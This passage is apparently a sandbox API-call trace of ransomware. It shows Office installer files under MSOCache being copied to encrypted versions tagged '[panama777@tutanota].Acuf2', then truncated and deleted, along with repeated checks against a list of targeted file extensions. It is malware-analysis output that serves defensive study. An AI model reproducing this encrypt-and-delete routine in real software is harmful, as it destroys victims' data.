	[0043.416] lstrlenW (lpString="Proof.msi") returned 9
	[0043.416] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0043.707] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=881152) returned 1
	[0043.707] CloseHandle (hObject=0x1e0) returned 1
	[0043.707] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 0x2020
	[0043.707] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0043.707] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0043.707] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0043.707] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0043.707] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0043.708] GetLastError () returned 0x0
	[0043.708] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x310fed4*=0xd7200, lpOverlapped=0x0) returned 1
	[0043.967] WriteFile (in: hFile=0x1bc, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xd7210, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x310fc9c*=0xd7210, lpOverlapped=0x0) returned 1
	[0043.982] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0043.982] WriteFile (in: hFile=0x1bc, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x310fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0043.982] SetEndOfFile (hFile=0x1bc) returned 1
	[0043.982] CloseHandle (hObject=0x1bc) returned 1
	[0043.989] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0043.989] SetEndOfFile (hFile=0x1e0) returned 1
	[0044.478] CloseHandle (hObject=0x1e0) returned 1
	[0044.479] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0044.479] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 1
	[0044.479] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81
	[0044.479] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81
	[0044.479] lstrlenW (lpString=".doc") returned 4
	[0044.479] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0044.479] lstrlenW (lpString=".docx") returned 5
	[0044.479] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1
	[0044.479] lstrlenW (lpString=".pdf") returned 4
	[0044.479] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0044.479] lstrlenW (lpString=".xls") returned 4
	[0044.479] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0044.479] lstrlenW (lpString=".xlsx") returned 5
	[0044.479] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1
	[0044.479] lstrlenW (lpString=".ppt") returned 4
	[0044.479] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0044.479] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81
	[0044.480] lstrlenW (lpString=".zip") returned 4
	[0044.480] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0044.480] lstrlenW (lpString=".rar") returned 4
	[0044.480] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0044.480] lstrlenW (lpString=".bz2") returned 4
	[0044.480] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0044.480] lstrlenW (lpString=".7z") returned 3
	[0044.480] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0044.480] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81
	[0044.480] lstrlenW (lpString=".dbf") returned 4
	[0044.480] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0044.480] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81
	[0044.480] lstrlenW (lpString=".1cd") returned 4
	[0044.480] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0044.480] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81
	[0044.480] lstrlenW (lpString=".jpg") returned 4
	[0044.480] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0044.480] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81
	[0044.480] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81
	[0044.480] lstrlenW (lpString=".doc") returned 4
	[0044.480] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0044.480] lstrlenW (lpString=".docx") returned 5
	[0044.480] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1
	[0044.480] lstrlenW (lpString=".pdf") returned 4
	[0044.480] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0044.480] lstrlenW (lpString=".xls") returned 4
	[0044.480] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0044.480] lstrlenW (lpString=".xlsx") returned 5
	[0044.480] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1
	[0044.480] lstrlenW (lpString=".ppt") returned 4
	[0044.480] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0044.480] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81
	[0044.481] lstrlenW (lpString=".zip") returned 4
	[0044.481] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0044.481] lstrlenW (lpString=".rar") returned 4
	[0044.481] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0044.481] lstrlenW (lpString=".bz2") returned 4
	[0044.481] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0044.481] lstrlenW (lpString=".7z") returned 3
	[0044.481] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0044.481] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81
	[0044.481] lstrlenW (lpString=".dbf") returned 4
	[0044.481] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0044.481] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81
	[0044.481] lstrlenW (lpString=".1cd") returned 4
	[0044.481] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0044.481] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81
	[0044.481] lstrlenW (lpString=".jpg") returned 4
	[0044.481] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0044.481] lstrcmpiW (lpString1=".msi", lpString2=".Acuf2") returned 1
	[0044.481] lstrlenW (lpString="Proof.msi") returned 9
	[0044.481] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0044.482] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=885760) returned 1
	[0044.482] CloseHandle (hObject=0x1e0) returned 1
	[0044.482] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 0x2020
	[0044.482] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0044.482] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0044.482] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.482] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.482] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0044.482] GetLastError () returned 0x0
	[0044.482] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x310fed4*=0xd8400, lpOverlapped=0x0) returned 1
	[0044.501] WriteFile (in: hFile=0x1f0, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xd8410, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x310fc9c*=0xd8410, lpOverlapped=0x0) returned 1
	[0044.786] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0044.786] WriteFile (in: hFile=0x1f0, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x310fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0044.786] SetEndOfFile (hFile=0x1f0) returned 1
	[0044.787] CloseHandle (hObject=0x1f0) returned 1
	[0044.794] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.794] SetEndOfFile (hFile=0x1e0) returned 1
	[0045.040] CloseHandle (hObject=0x1e0) returned 1
	[0045.040] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0045.040] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 1
	[0045.040] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81
	[0045.040] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81
	[0045.040] lstrlenW (lpString=".doc") returned 4
	[0045.040] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0045.040] lstrlenW (lpString=".docx") returned 5
	[0045.040] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1
	[0045.040] lstrlenW (lpString=".pdf") returned 4
	[0045.040] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0045.041] lstrlenW (lpString=".xls") returned 4
	[0045.041] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0045.041] lstrlenW (lpString=".xlsx") returned 5
	[0045.041] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1
	[0045.041] lstrlenW (lpString=".ppt") returned 4
	[0045.041] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0045.041] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81
	[0045.041] lstrlenW (lpString=".zip") returned 4
	[0045.041] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0045.041] lstrlenW (lpString=".rar") returned 4
	[0045.041] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0045.041] lstrlenW (lpString=".bz2") returned 4
	[0045.041] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0045.041] lstrlenW (lpString=".7z") returned 3
	[0045.041] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0045.041] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81
	[0045.041] lstrlenW (lpString=".dbf") returned 4
	[0045.041] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0045.041] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81
	[0045.041] lstrlenW (lpString=".1cd") returned 4
	[0045.041] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0045.041] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81
	[0045.041] lstrlenW (lpString=".jpg") returned 4
	[0045.041] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0045.041] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81
	[0045.041] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81
	[0045.041] lstrlenW (lpString=".doc") returned 4
	[0045.041] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0045.041] lstrlenW (lpString=".docx") returned 5
	[0045.041] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1
	[0045.042] lstrlenW (lpString=".pdf") returned 4
	[0045.042] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0045.042] lstrlenW (lpString=".xls") returned 4
	[0045.042] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0045.042] lstrlenW (lpString=".xlsx") returned 5
	[0045.042] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1
	[0045.042] lstrlenW (lpString=".ppt") returned 4
	[0045.042] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0045.042] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81
	[0045.042] lstrlenW (lpString=".zip") returned 4
	[0045.042] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0045.042] lstrlenW (lpString=".rar") returned 4
	[0045.042] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0045.042] lstrlenW (lpString=".bz2") returned 4
	[0045.042] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0045.042] lstrlenW (lpString=".7z") returned 3
	[0045.042] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0045.042] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81
	[0045.042] lstrlenW (lpString=".dbf") returned 4
	[0045.042] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0045.042] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81
	[0045.042] lstrlenW (lpString=".1cd") returned 4
	[0045.042] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0045.042] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81
	[0045.042] lstrlenW (lpString=".jpg") returned 4
	[0045.042] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0045.042] lstrcmpiW (lpString1=".msi", lpString2=".Acuf2") returned 1
	[0045.043] lstrlenW (lpString="Proofing.msi") returned 12
	[0045.043] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0045.043] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=868864) returned 1
	[0045.043] CloseHandle (hObject=0x1e0) returned 1
	[0045.043] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 0x2020
	[0045.043] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0045.043] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0045.043] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.043] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.043] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0045.044] GetLastError () returned 0x0
	[0045.044] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x310fed4*=0xd4200, lpOverlapped=0x0) returned 1
	[0045.062] WriteFile (in: hFile=0x1f8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x310fc9c*=0xd4210, lpOverlapped=0x0) returned 1
	[0045.076] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0045.076] WriteFile (in: hFile=0x1f8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x310fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0045.076] SetEndOfFile (hFile=0x1f8) returned 1
	[0045.077] CloseHandle (hObject=0x1f8) returned 1
	[0045.442] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.442] SetEndOfFile (hFile=0x1e0) returned 1
	[0045.449] CloseHandle (hObject=0x1e0) returned 1
	[0045.449] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0045.449] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 1
	[0045.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75
	[0045.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75
	[0045.450] lstrlenW (lpString=".doc") returned 4
	[0045.450] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0045.450] lstrlenW (lpString=".docx") returned 5
	[0045.450] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1
	[0045.450] lstrlenW (lpString=".pdf") returned 4
	[0045.450] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0045.450] lstrlenW (lpString=".xls") returned 4
	[0045.450] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0045.450] lstrlenW (lpString=".xlsx") returned 5
	[0045.450] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1
	[0045.450] lstrlenW (lpString=".ppt") returned 4
	[0045.450] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0045.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75
	[0045.450] lstrlenW (lpString=".zip") returned 4
	[0045.450] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0045.450] lstrlenW (lpString=".rar") returned 4
	[0045.450] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0045.450] lstrlenW (lpString=".bz2") returned 4
	[0045.450] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0045.450] lstrlenW (lpString=".7z") returned 3
	[0045.450] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0045.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75
	[0045.450] lstrlenW (lpString=".dbf") returned 4
	[0045.450] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0045.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75
	[0045.451] lstrlenW (lpString=".1cd") returned 4
	[0045.451] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0045.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75
	[0045.451] lstrlenW (lpString=".jpg") returned 4
	[0045.451] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0045.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75
	[0045.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75
	[0045.451] lstrlenW (lpString=".doc") returned 4
	[0045.451] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0045.451] lstrlenW (lpString=".docx") returned 5
	[0045.451] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1
	[0045.451] lstrlenW (lpString=".pdf") returned 4
	[0045.451] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0045.451] lstrlenW (lpString=".xls") returned 4
	[0045.451] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0045.451] lstrlenW (lpString=".xlsx") returned 5
	[0045.451] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1
	[0045.451] lstrlenW (lpString=".ppt") returned 4
	[0045.451] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0045.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75
	[0045.451] lstrlenW (lpString=".zip") returned 4
